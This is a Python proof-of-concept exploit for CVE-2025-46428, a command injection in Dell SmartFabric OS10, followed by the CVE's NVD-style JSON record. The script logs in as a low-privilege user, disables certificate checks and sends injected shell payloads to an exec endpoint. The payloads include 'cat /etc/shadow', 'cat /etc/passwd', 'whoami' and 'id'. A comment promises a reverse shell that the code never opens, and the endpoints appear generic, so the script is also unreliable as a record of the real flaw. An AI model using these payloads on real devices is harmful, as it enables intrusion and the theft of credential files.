CVE-2025-46428

# CVE-2025-46428 PoC - Dell SmartFabric OS10 Command Injection # Note: This is a conceptual PoC for educational purposes only import requests import urllib3 urllib3.disable_warnings() TARGET = "https://target-device-ip" USERNAME = "low_privilege_user" PASSWORD = "password" # Login to obtain session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(f"{TARGET}/login", json=login_data, verify=False) if response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Command injection payload - reverse shell # Attacker-controlled values are injected without proper sanitization malicious_params = { "interface": "eth0", "command": "show; cat /etc/passwd", "action": "execute" } # Alternative payload with pipe operator payload_variants = [ "; cat /etc/shadow", "&& whoami", "| id", "`id`", "$(whoami)" ] for payload in payload_variants: test_params = { "interface": "eth0", "command": f"show{payload}", "action": "execute" } response = session.post(f"{TARGET}/api/v1/exec", json=test_params, verify=False) print(f"[*] Payload: {payload}") print(f"[*] Response: {response.text[:200]}") print("-" * 50) print("[*] PoC completed - verify command execution on target")

{"cve": {"id": "CVE-2025-46428", "sourceIdentifier": "[email protected]", "published": "2025-11-12T20:15:42.953", "lastModified": "2025-11-17T12:32:02.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell SmartFabric OS10 Software, versions prior to 10.6.1.0, contain an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:smartfabric_os10:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.6.1.0", "matchCriteriaId": "1F75B21C-7B8B-4EA7-8D09-2AB14584AB52"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000391062/dsa-2025-407-security-update-for-dell-networking-os10-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}